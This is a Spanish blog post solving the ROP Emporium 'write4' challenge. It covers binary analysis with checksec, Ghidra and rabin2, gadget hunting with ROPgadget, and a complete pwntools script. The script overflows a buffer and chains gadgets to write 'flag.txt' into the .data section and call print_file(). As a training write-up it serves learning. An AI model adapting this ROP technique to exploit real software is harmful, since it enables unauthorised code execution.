Ir al contenido principal

Binary Exploitation (XXI): Solución Reto ROP Emporium "write4"

Continúo poniendo las soluciones de un sitio que he encontrado para aprender ROP, ‘Return Oriented Programming’ (en español, Programación Orientada al Retorno), a través de una serie de desafíos diseñados para enseñar diversas técnicas.

Como siempre utilizo la versión de 64 bits del desafío.

En este post la solución al reto que lleva por título "write4", y que, en mi opinión, presenta un nivel de dificultad alto (★★☆).

Enunciado:

Además, se explica lo siguiente:

On completing our usual checks for interesting strings and symbols in this binary we're confronted with the stark truth that our favourite string "/bin/cat flag.txt" is not present this time. Although you'll see later that there are other ways around this problem, such as resolving dynamically loaded libraries and using the strings present in those, we'll stick to the challenge goal which is learning how to get data into the target process's virtual address space via the magic of ROP.

Things have been rearranged a little for this challenge; the printing logic has been moved into a separate library in an attempt to mitigate the alternate solution that is possible in the callme challenge. The stack smash also takes place in a function within that library, but don't worry, this will have no effect on your ROP chain. A PLT entry for a function named print_file() exists within the challenge binary, simply call it with the name of a file you wish to read (like "flag.txt") as the 1st argument.

The important thing to realise is that ROP is just a form of arbitrary code execution and if we're creative we can leverage it to do things like write to or read from memory. The question is what mechanism are we going to use to solve this problem, is there any built-in functionality to do the writing or do we need to use gadgets? In this challenge we won't be using built-in functionality since that's too similar to the previous challenges, instead we'll be looking for gadgets that let us write a value to memory such as mov [reg], reg.

Perhaps the most important thing to consider in this challenge is where we're going to write our "flag.txt" string. Use rabin2 or readelf to check out the different sections of this binary and their permissions. Learn a little about ELF sections and their purpose. Consider how much space each section might give you to work with and whether corrupting the information stored at these locations will cause you problems later if you need some kind of stability from this binary.

Once you've figured out how to write your string into memory and where to write it, go ahead and call print_file() with its location as your only argument. You could consider wrapping your write gadgets in helper a function; if you can write a 4 or 8 byte value to a location in memory, you could craft a function (e.g. in Python using pwntools) that takes a string and a memory location and returns a ROP chain that will write that string to your chosen location. Crafting templates like this will make your life much easier in the long run.

Solución:

1.- Se proporcionan dos archivos: write4 y libwrite4.so.

Lo primero que hago es ejecutar el archivo write4 y veo que es vulnerable a un ataque de desbordamiento de 'buffer' (en inglés, 'buffer overflow'):
2.- Compruebo los mecanismos de seguridad del binario utilizando ‘checksec’ y veo que ‘NX’ está habilitado, lo que significa que la pila es no ejecutable:
3.- Decompilo el binario usando ‘Ghidra’ y veo que en la función main() se realiza una llamada a la función pwnme():
En la función pwnme(), incluida en la biblioteca separada, es donde, conforme a las explicaciones que que se dan en este reto, entiendo que se produce el desbordamiento de 'buffer'.
Además, veo que la funcióusefulFunction(), a la que no se llama nunca, realiza una llamada a una función dentro de la biblioteca separada, print_file(), que sería a la que hay que llamar con "flag.txt" como primer argumento para que se muestre la flag:
En las explicaciones que se dan en este reto se dice que: "Quizá lo más importante a considerar en este desafío es dónde vamos a escribir nuestra cadena 'flag.txt'" y que hay que consultar "las diferentes secciones de este binario y sus permisos". Para ello, utilizo 'rabin2' y veo que hay diferentes secciones del binario (un binario de GNU/Linux se organiza en secciones que estructuran sus instrucciones, sus datos y otra información necesaria para el 'linker' en el proceso de enlazado) con permiso '-rw-' (lectura y escritura):
Voy a intentarlo en la sección .data, que se encuentra en la dirección '0x00601028', pero antes, por si acaso, compruebo los datos que pueda haber en dicha sección. Para ello, utilizo 'readelf', y veo que no hay datos, por lo que, en principio, escribir la cadena "flag.txt" en .data no tendría ninguna consecuencia negativa en lo que al funcionamiento del binario se refiere:
4.- El plan de ataque consiste en sobrescribir la dirección de retorno de la función pwnme() con la de inicio de una cadena ROP (en inglés, 'ROP chain') que escriba la cadena "flag.txt" en una dirección de la sección .data y que llame a la función print_file() con la cadena anterior como parámetro, lo que mostrará la flag.

5.- Creo el 'exploit' mediante un pequeño 'script' en python y lo ejecuto:

Antes de crear el 'exploit', tal y como dije en los posts anteriores, conviene recordar que. al contrario que en los binarios de 32 bits en los que los argumentos se pasan a las funciones a través de la pila, en los de 64 bits los 6 primeros argumentos se pasan a las funciones a través de registros. En concreto, el primer argumento se pasa a través del registro RDI.

Para localizar en el propio binario un 'gadget'  o 'gadgets' que me puedan servir para escribir la cadena "flag.txt" en una dirección de la sección .data utilizo 'ROPgadget', y veo que en las direcciones '0x0000000000400629' y '0x0000000000400628' existen sendos candidatos que me pueden servir para ello (tal y como se dice en las explicaciones que se dan en este reto, los 'gadgets' que nos permiten escribir un valor en la memoria son del tipo 'mov [reg0], reg1 ; ret', en los que el contenido del registro R1 se mueve a la dirección de memoria contenida en el registro R0):
Ahora, necesito un 'gadget' 'gadgets' para incluir en los registros RSI y EDI o en R14 y R15 la dirección donde escribir la cadena "flag.txt" y la propia cadena, respectivamente, información que introduciré en la pila, y veo que, en la dirección '0x0000000000400690' existe un 'gadget' que me puede servir perfectamente para ello:
Con estos dos 'gadgets' ya puedo escribir la cadena "flag.txt" en una posición de memoria, pero para finalizar y tener toda la información necesaria para crear mi 'exploit' me falta un 'gadget' para introducir la dirección de memoria donde se escribirá la cadena "flag.txt" en el registro RDI. Para localizar en el propio binario un 'gadget'  o 'gadgets' que me puedan servir para ello vuelvo a utilizar 'ROPgadget', y veo que en las direcciones '0x0000000000400693' hay un 'gadget' que cumple perfectamente con nuestro objetivo:
A partir de aquí, creo un pequeño 'script' en python y lo ejecuto:

from pwn import *

# Indicar a pwntools el binario objetivo
elf = context.binary = ELF('write4')

# Relleno hasta la direccion de retorno de pwnme()
offset_padding = b'A'*40

# Direccion de los gadgets
info('0x400690 pop r14 ; pop r15 ; ret')
gadget_1 = p64(0x0000000000400690)
info('0x400628 mov qword ptr [r14], r15 ; ret')
gadget_2 = p64(0x0000000000400628)
info('0x400693 pop rdi ; ret')
gadget_3 = p64(0x0000000000400693)

# cadena 'flag.txt'
flag_txt = b'flag.txt'

# Direccion en la que escribo la cadena 'flag.txt'
info('0x601028 .data address')
data_adr = p64(0x0000000000601028)

# Direccion de la funcion print_file
info('%#x print_file', elf.symbols.print_file)
print_file = p64(elf.symbols.print_file)

# Enviar
p = process(elf.path)
payload = offset_padding+gadget_1+data_adr+flag_txt+gadget_2+gadget_3+data_adr+print_file
p.sendline(payload)

# Recibir e imprimir
print(p.recvall())

Comentarios

Entradas populares de este blog

Criptografía (I): cifrado Vigenère y criptoanálisis Kasiski

Hace unos días mi amigo Iñaki Regidor ( @Inaki_Regidor ), a quien dedico esta entrada :), compartió en las redes sociales un post titulado "Criptografía: el arte de esconder mensajes"  publicado en uno de los blogs de EiTB . En ese post se explican ciertos métodos clásicos para cifrar mensajes , entre ellos el cifrado de Vigenère , y , al final del mismo, se propone un reto consistente en descifrar un mensaje , lo que me ha animado a escribir este post sobre el método Kasiski  para atacar un cifrado polialfabético ( conociendo la clave descifrar el mensaje es muy fácil, pero lo que contaré en este post es la forma de hacerlo sin saberla ). El mensaje a descifrar es el siguiente: LNUDVMUYRMUDVLLPXAFZUEFAIOVWVMUOVMUEVMUEZCUDVSYWCIVCFGUCUNYCGALLGRCYTIJTRNNPJQOPJEMZITYLIAYYKRYEFDUDCAMAVRMZEAMBLEXPJCCQIEHPJTYXVNMLAEZTIMUOFRUFC Como ya he dicho el método de Vigenère es un sistema de sustitución polialfabético , lo que significa que, al contrario que en un sistema de

Criptografía (XXIII): cifrado de Hill (I)

En este post me propongo explicar de forma comprensible lo que he entendido sobre el cifrado de Hill , propuesto por el matemático Lester S. Hill , en 1929, y que se basa en emplear una matriz como clave  para cifrar un texto en claro y su inversa para descifrar el criptograma correspondiente . Hay tres cosas que me gustan de la criptografía clásica, además de que considero que ésta es muy didáctica a la hora de comprender los sistemas criptográficos modernos: la primera de ellas es que me "obliga" a repasar conceptos de matemáticas aprendidos hace mucho tiempo y, desgraciadamente, olvidados también hace demasiado tiempo, y, por consiguiente, que, como dice  Dani , amigo y coautor de este blog, me "obliga" a hacer "gimnasia mental"; la segunda es que, en la mayoría de las ocasiones, pueden cifrarse y descifrase los mensajes, e incluso realizarse el criptoanálisis de los criptogramas, sin más que un simple lápiz y papel, es decir, para mi es como un pasat

¿Qué significa el emblema de la profesión informática? (I)

Todas o muchas profesiones tienen un emblema que las representa simbólicamente y en el caso de la  informática: " es el establecido en la resolución de 11 de noviembre de 1977  para las titulaciones universitarias superiores de informática, y  está constituido por una figura representando en su parte central  un  núcleo toroidal de ferrita , atravesado por  hilos de lectura,  escritura e inhibición . El núcleo está rodeado por  dos ramas : una  de  laurel , como símbolo de recompensa, y la otra, de  olivo , como  símbolo de sabiduría. La  corona  será la  de la casa real  española,  y bajo el escudo se inscribirá el acrónimo de la organización. ". Veamos los diferentes elementos tomando como ejemplo el emblema del COIIE/EIIEO (Colegio Oficial de Ingenieros en Informática del País Vasco/ Euskadiko Informatikako Ingeniarien Elkargo Ofiziala ) . Pero no sólo el COIIE/EIIEO adopta el emblema establecido en dicha resolución, sino que éste se adopta también como im